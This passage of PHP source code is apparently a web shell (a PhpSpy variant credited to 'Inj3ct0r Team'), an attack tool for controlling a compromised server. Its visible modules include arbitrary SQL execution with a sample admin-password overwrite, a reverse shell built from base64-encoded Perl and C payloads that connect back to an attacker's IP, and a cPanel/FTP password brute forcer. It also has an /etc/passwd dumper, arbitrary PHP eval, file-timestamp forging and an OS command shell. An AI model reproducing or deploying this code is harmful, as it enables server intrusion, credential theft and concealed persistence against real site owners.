        if ($valstr) {
            $where = base64_decode($base64);
            dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
            m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
        }
    }
    if ($doing == 'del' && $base64) {
        $where = base64_decode($base64);
        $delete_sql = "DELETE FROM $tablename WHERE $where";
        dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
        m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    }
 
    if ($tablename && $doing == 'drop') {
        dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
        if (q("DROP TABLE $tablename")) {
            m('Drop table of success');
            $tablename = '';
        } else {
            m(mysql_error());
        }
    }
 
    $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
 
    formhead(array('title'=>'MySql Dump Database'));
    makehide('action','sqladmin');
    p('<p>');
    p('DBHost:');
    makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    p(':');
    makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    p('DBUser:');
    makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    p('DBPass:');
    makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    p('DBCharset:');
    makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
    p('</p>');
    formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
    if (action == 'del') {
        if (!confirm('Is or isn\'t deletion record?')) return;
    }
    $('recordlist').doing.value=action;
    $('recordlist').base64.value=base64;
    $('recordlist').tablename.value=tablename;
    $('recordlist').submit();
}
function moddbname(dbname) {
    if(!dbname) return;
    $('setdbname').dbname.value=dbname;
    $('setdbname').submit();
}
function settable(tablename,doing,page) {
    if(!tablename) return;
    if (doing) {
        $('settable').doing.value=doing;
    }
    if (page) {
        $('settable').page.value=page;
    }
    $('settable').tablename.value=tablename;
    $('settable').submit();
}
</script>
<?php
    // SQL
    formhead(array('name'=>'recordlist'));
    makehide('doing');
    makehide('action','sqladmin');
    makehide('base64');
    makehide('tablename');
    p($dbform);
    formfoot();
 
    // Data
    formhead(array('name'=>'setdbname'));
    makehide('action','sqladmin');
    p($dbform);
    if (!$dbname) {
        makehide('dbname');
    }
    formfoot();
 
 
    formhead(array('name'=>'settable'));
    makehide('action','sqladmin');
    p($dbform);
    makehide('tablename');
    makehide('page',$page);
    makehide('doing');
    formfoot();
 
    $cachetables = array();
    $pagenum = 30;
    $page = intval($page);
    if($page) {
        $start_limit = ($page - 1) * $pagenum;
    } else {
        $start_limit = 0;
        $page = 1;
    }
    if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
        dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
        // get mysql server
        $mysqlver = mysql_get_server_info();
        p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
        $highver = $mysqlver > '4.1' ? 1 : 0;
 
        // Show database
        $query = q("SHOW DATABASES");
        $dbs = array();
        $dbs[] = '-- Select a database --';
        while($db = mysql_fetch_array($query)) {
            $dbs[$db['Database']] = $db['Database'];
        }
        makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
        $tabledb = array();
        if ($dbname) {
            p('<p>');
            p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
            if ($tablename) {
                p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
            }
            p('</p>');
            mysql_select_db($dbname);
 
            $getnumsql = '';
            $runquery = 0;
            if ($sql_query) {
                $runquery = 1;
            }
            $allowedit = 0;
            if ($tablename && !$sql_query) {
                $sql_query = "SELECT * FROM $tablename";
                $getnumsql = $sql_query;
                $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
                $allowedit = 1;
            }
            p('<form action="'.$self.'" method="POST">');
            p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>Inj3ct0r Team</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
           </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
            makehide('tablename', $tablename);
            makehide('action','sqladmin');
            p($dbform);
            p('</form>');
            if ($tablename || ($runquery && $sql_query)) {
                if ($doing == 'structure') {
                    $result = q("SHOW COLUMNS FROM $tablename");
                    $rowdb = array();
                    while($row = mysql_fetch_array($result)) {
                        $rowdb[] = $row;
                    }
                    p('<table border="0" cellpadding="3" cellspacing="0">');
                    p('<tr class="head">');
                    p('<td>Field</td>');
                    p('<td>Type</td>');
                    p('<td>Null</td>');
                    p('<td>Key</td>');
                    p('<td>Default</td>');
                    p('<td>Extra</td>');
                    p('</tr>');
                    foreach ($rowdb as $row) {
                        $thisbg = bg();
                        p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                        p('<td>'.$row['Field'].'</td>');
                        p('<td>'.$row['Type'].'</td>');
                        p('<td>'.$row['Null'].'&nbsp;</td>');
                        p('<td>'.$row['Key'].'&nbsp;</td>');
                        p('<td>'.$row['Default'].'&nbsp;</td>');
                        p('<td>'.$row['Extra'].'&nbsp;</td>');
                        p('</tr>');
                    }
                    tbfoot();
                } elseif ($doing == 'insert' || $doing == 'edit') {
                    $result = q('SHOW COLUMNS FROM '.$tablename);
                    while ($row = mysql_fetch_array($result)) {
                        $rowdb[] = $row;
                    }
                    $rs = array();
                    if ($doing == 'insert') {
                        p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
                    } else {
                        p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
                        $where = base64_decode($base64);
                        $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
                        $rs = mysql_fetch_array($result);
                    }
                    p('<form method="post" action="'.$self.'">');
                    p($dbform);
                    makehide('action','sqladmin');
                    makehide('tablename',$tablename);
                    p('<table border="0" cellpadding="3" cellspacing="0">');
                    foreach ($rowdb as $row) {
                        if ($rs[$row['Field']]) {
                            $value = htmlspecialchars($rs[$row['Field']]);
                        } else {
                            $value = '';
                        }
                        $thisbg = bg();
                        p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                        p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
                    }
                    if ($doing == 'insert') {
                        p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
                    } else {
                        p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
                        makehide('base64', $base64);
                    }
                    p('</table></form>');
                } else {
                    $querys = @explode(';',$sql_query);
                    foreach($querys as $num=>$query) {
                        if ($query) {
                            p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
                            switch(qy($query))
                            {
                                case 0:
                                    p('<h2>Error : '.mysql_error().'</h2>');
                                    break;
                                case 1:
                                    if (strtolower(substr($query,0,13)) == 'select * from') {
                                        $allowedit = 1;
                                    }
                                    if ($getnumsql) {
                                        $tatol = mysql_num_rows(q($getnumsql));
                                        $multipage = multi($tatol, $pagenum, $page, $tablename);
                                    }
                                    if (!$tablename) {
                                        $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
                                        $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
                                        preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
                                        $tablename = $matches[1][0];
                                    }
                                    $result = q($query);
                                    p($multipage);
                                    p('<table border="0" cellpadding="3" cellspacing="0">');
                                    p('<tr class="head">');
                                    if ($allowedit) p('<td>Action</td>');
                                    $fieldnum = @mysql_num_fields($result);
                                    for($i=0;$i<$fieldnum;$i++){
                                        $name = @mysql_field_name($result, $i);
                                        $type = @mysql_field_type($result, $i);
                                        $len = @mysql_field_len($result, $i);
                                        p("<td nowrap>$name<br><span>$type($len)</span></td>");
                                    }
                                    p('</tr>');
                                    while($mn = @mysql_fetch_assoc($result)){
                                        $thisbg = bg();
                                        p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                                        $where = $tmp = $b1 = '';
                                        foreach($mn as $key=>$inside){
                                            if ($inside) {
                                                $where .= $tmp.$key."='".addslashes($inside)."'";
                                                $tmp = ' AND ';
                                            }
                                            $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
                                        }
                                        $where = base64_encode($where);
                                        if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
                                        p($b1);
                                        p('</tr>');
                                        unset($b1);
                                    }
                                    tbfoot();
                                    p($multipage);
                                    break;
                                case 2:
                                    $ar = mysql_affected_rows();
                                    p('<h2>affected rows : <b>'.$ar.'</b></h2>');
                                    break;
                            }
                        }
                    }
                }
            } else {
                $query = q("SHOW TABLE STATUS");
                $table_num = $table_rows = $data_size = 0;
                $tabledb = array();
                while($table = mysql_fetch_array($query)) {
                    $data_size = $data_size + $table['Data_length'];
                    $table_rows = $table_rows + $table['Rows'];
                    $table['Data_length'] = sizecount($table['Data_length']);
                    $table_num++;
                    $tabledb[] = $table;
                }
                $data_size = sizecount($data_size);
                unset($table);
                p('<table border="0" cellpadding="0" cellspacing="0">');
                p('<form action="'.$self.'" method="POST">');
                makehide('action','sqladmin');
                p($dbform);
                p('<tr class="head">');
                p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
                p('<td>Name</td>');
                p('<td>Rows</td>');
                p('<td>Data_length</td>');
                p('<td>Create_time</td>');
                p('<td>Update_time</td>');
                if ($highver) {
                    p('<td>Engine</td>');
                    p('<td>Collation</td>');
                }
                p('</tr>');
                foreach ($tabledb as $key => $table) {
                    $thisbg = bg();
                    p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                    p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
                    p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
                    p('<td>'.$table['Rows'].'</td>');
                    p('<td>'.$table['Data_length'].'</td>');
                    p('<td>'.$table['Create_time'].'</td>');
                    p('<td>'.$table['Update_time'].'</td>');
                    if ($highver) {
                        p('<td>'.$table['Engine'].'</td>');
                        p('<td>'.$table['Collation'].'</td>');
                    }
                    p('</tr>');
                }
                p('<tr class=fout>');
                p('<td>&nbsp;</td>');
                p('<td>Total tables: '.$table_num.'</td>');
                p('<td>'.$table_rows.'</td>');
                p('<td>'.$data_size.'</td>');
                p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
                p('</tr>');
 
                p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
                makehide('doing','backupmysql');
                formfoot();
                p("</table>");
                fr($query);
            }
        }
    }
    tbfoot();
    @mysql_close();
}//end sql backup
 
 
elseif ($action == 'backconnect') {
    !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
    !$yourport && $yourport = '12345';
    $usedb = array('perl'=>'perl','c'=>'c');
 
    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
        "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
        "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
        "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
        "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
        "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
        "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
        "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
        "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
        "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
        "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
        "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
        "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
        "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
 
    if ($start && $yourip && $yourport && $use){
        if ($use == 'perl') {
            cf('/tmp/angel_bc',$back_connect);
            $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
        } else {
            cf('/tmp/angel_bc.c',$back_connect_c);
            $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
            @unlink('/tmp/angel_bc.c');
            $res = execute("/tmp/angel_bc $yourip $yourport &");
        }
        m("Now script try connect to $yourip port $yourport ...");
    }
 
    formhead(array('title'=>'Back Connect'));
    makehide('action','backconnect');
    p('<p>');
    p('Your IP:');
    makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
    p('Your Port:');
    makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
    p('Use:');
    makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
    makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
    p('</p>');
    formfoot();
}//end backconnect window via NC
 
// Brute
elseif ($action == 'brute') {
formhead(array('title'=>'Brute Forcer'));
    makehide('action','brute');
    makehide('dir',$brute);
@ini_set('memory_limit', 1000000000000);
$connect_timeout=5;
@set_time_limit(0);
$submit = $_REQUEST['submit'];
$users = $_REQUEST['users'];
$pass = $_REQUEST['passwords'];
$target = $_REQUEST['target'];
$option = $_REQUEST['option'];
 
 
$passlist = "0123456
01234567
012345678
0123456789
01234567890
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
123123
456456
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin
administrator
admincp
cpanel
adminx
admins
password
passwords
passw0rd
p@ssw0rd
p@ssword
khongco
25251325
passw0rds";
if($target == ''){
$target = 'localhost';
}
print " <div align='center'>
<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
<b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
<tr>
<td align='center'>
<b>Username</b></td>
<td>
<p align='center'>
<b>Password</b></td>
</tr>
</table>
<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
$i = 0;
while ($i < 60000) {
 
    $line = posix_getpwuid($i);
    if (!empty($line)) {
 
        while (list ($key, $vba_etcpwd) = each($line)){
            echo "".$vba_etcpwd."\n";
            break;
        }
 
    }
 
   $i++;
}
echo "
</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
<br>
<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
</td></tr></table></td></tr></form><p align= 'left'>";
?>
<?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
 
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
 
elseif ( curl_errno($ch) == 0 ){
 
p("<b> submit[at]1337day.com # </b>
<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
}
curl_close($ch);}
 
function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){
 
p("<b> submit[at]1337day.com # </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
 
if(isset($submit) && !empty($submit)){
 
$userlist = explode ("\n" , $users );
$passlist = explode ("\n" , $pass );
p('<b>submit[at]1337day.com # Attacking ...</font></b><br>');
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password ) {
$_pass = trim($password);
if($option == "ftp"){
ftp_check($target,$_user,$_pass,$connect_timeout);
}
if ($option == "cpanel")
{
cpanel_check($target,$_user,$_pass,$connect_timeout);
}
}
}
}
 
    formfoot();
}
 
 
 
 
 
 
elseif ($action == 'etcpwd') {
formhead(array('title'=>'Get /etc/passwd'));
    makehide('action','etcpwd');
    makehide('dir',$nowpath);
$i = 0;
 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
while ($i < 60000) {
 
    $line = posix_getpwuid($i);
    if (!empty($line)) {
 
        while (list ($key, $vba_etcpwd) = each($line)){
            echo "".$vba_etcpwd."\n";
            break;
        }
 
    }
 
   $i++;
}
  echo "</textarea></p>";
    formfoot();
}
 
elseif ($action == 'eval') {
    $phpcode = trim($phpcode);
    if($phpcode){
        if (!preg_match('#<\?#si', $phpcode)) {
            $phpcode = "<?php\n\n{$phpcode}\n\n?>";
        }
        eval("?".">$phpcode<?");
    }
    formhead(array('title'=>'Eval PHP Code'));
    makehide('action','eval');
    maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    formfooter();
}//end eval
 
elseif ($action == 'editfile') {
    if(file_exists($opfile)) {
        $fp=@fopen($opfile,'r');
        $contents=@fread($fp, filesize($opfile));
        @fclose($fp);
        $contents=htmlspecialchars($contents);
    }
    formhead(array('title'=>'Create / Edit File'));
    makehide('action','file');
    makehide('dir',$nowpath);
    makeinput(array('title'=>'','name'=>'editfilename','value'=>$opfile,'newline'=>1));
    maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    formfooter();
}//end editfile
 
elseif ($action == 'newtime') {
    $opfilemtime = @filemtime($opfile);
    //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
    formhead(array('title'=>''));
    makehide('action','file');
    makehide('dir',$nowpath);
    makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
    formfooter();
    formhead(array('title'=>'Set last m0dified'));
    makehide('action','file');
    makehide('dir',$nowpath);
    makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    p('<p>Instead &raquo;');
    p('year:');
    makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
    p('month:');
    makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    p('day:');
    makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
    p('hour:');
    makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    p('minute:');
    makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
    p('second:');
    makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    p('</p>');
    formfooter();
}//end newtime
 
elseif ($action == 'shell') {
    if (IS_WIN && IS_COM) {
        if($program && $parameter) {
            $shell= new COM('Shell.Application');
            $a = $shell->ShellExecute($program,$parameter);
            m('Program run has '.(!$a ? 'success' : 'fail'));
        }
        !$program && $program = 'c:\windows\system32\cmd.exe';
        !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
        formhead(array('title'=>'Execute Program'));
        makehide('action','shell');
        makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
        p('<p>');
        makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
        makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
        p('</p>');
        formfoot();
    }
    formhead(array('title'=>'C0mmand Shell'));
    makehide('action','shell');
    if (IS_WIN && IS_COM) {
        $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
        makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
    }
    p('<p>');
    makeinput(array('title'=>'C0mmand','name'=>'command','value'=>$command));
    makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'eX3cuT3'));
    p('</p>');
    formfoot();
 
    if ($command) {
        p('<hr width="100%" noshade /><pre>');
        if ($execfunc=='wscript' && IS_WIN && IS_COM) {
            $wsh = new COM('WScript.shell');
            $exec = $wsh->exec('cmd.exe /c '.$command);
            $stdout = $exec->StdOut();
            $stroutput = $stdout->ReadAll();
            echo $stroutput;
        } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
            $descriptorspec = array(
               0 => array('pipe', 'r'),
               1 => array('pipe', 'w'),
               2 => array('pipe', 'w')
            );
            $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
            if (is_resource($process)) {
                fwrite($pipes[0], $command."\r\n");
                fwrite($pipes[0], "exit\r\n");
                fclose($pipes[0]);
                while (!feof($pipes[1])) {
                    echo fgets($pipes[1], 1024);
                }
                fclose($pipes[1]);
                while (!feof($pipes[2])) {
                    echo fgets($pipes[2], 1024);
                }
                fclose($pipes[2]);
                proc_close($process);
            }
        } else {
            echo(execute($command));
        }
        p('</pre>');
    }
}//end shell
 
elseif ($action == 'phpenv') {
    $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
    !$dis_func && $dis_func = 'No';
    $info = array(
        1 => array('S3rV3r Tim3',date('Y/m/d h:i:s',$timestamp)),
        2 => array('S3rV3r D0maiN',$_SERVER['SERVER_NAME']),
        3 => array('S3rV3r IP',gethostbyname($_SERVER['SERVER_NAME'])),
        4 => array('S3rV3r 0S',PHP_OS),
        5 => array('Server 0S CharS3t',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
        6 => array('S3rV3r S0ftWar3',$_SERVER['SERVER_SOFTWARE']),
        7 => array('S3rV3r W3b P0rt',$_SERVER['SERVER_PORT']),
        8 => array('pHp m0d3',strtoupper(php_sapi_name())),
        9 => array('PatH',__FILE__),
 
    );
 
    if($phpvarname) {
        m($phpvarname .' : '.getcfg($phpvarname));
    }
 
    formhead(array('title'=>'S3rV3r Inf0rmati0N'));
    makehide('action','phpenv');
    makeinput(array('title'=>'PHP configuration Here','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
    formfooter();
 
    $hp = array(0=> 'S3rV3r', 1=> 'PHP');
    for($a=0;$a<2;$a++) {
        p('<h2>'.$hp[$a].' &raquo;</h2>');
        p('<ul class="info">');
        if ($a==0) {
            for($i=1;$i<=9;$i++) {
                p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
            }
        } elseif ($a == 1) {
            for($i=10;$i<=23;$i++) {
                p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
            }
        }
        p('</ul>');
    }
}//end phpenv
 
else {
    m('Undefined Action');
}
 
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #000000;border-top:1px solid #000000;background:#000000;">
    <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    <B></B> - C0d3d By <a href=http://1337day.com target=_blank><B>Inj3ct0r Team  </B></a> - <B>-1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team</B> All Rights Reserved.
</div>
</body>
</html>
 
<?php
 
/*======================================================
Show info shell
======================================================*/
 
function m($msg) {
    echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    echo $msg;
    echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
    global $admin, $timestamp, $_SERVER;
    $key = ($prefix ? $admin['cookiepre'] : '').$key;
    $life = $life ? $life : $admin['cookielife'];
    $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
    $multipage = '';
    if($num > $perpage) {
        $page = 10;
        $offset = 5;
        $pages = @ceil($num / $perpage);
        if($page > $pages) {
            $from = 1;
            $to = $pages;
        } else {
            $from = $curpage - $offset;
            $to = $curpage + $page - $offset - 1;
            if($from < 1) {
                $to = $curpage + 1 - $from;
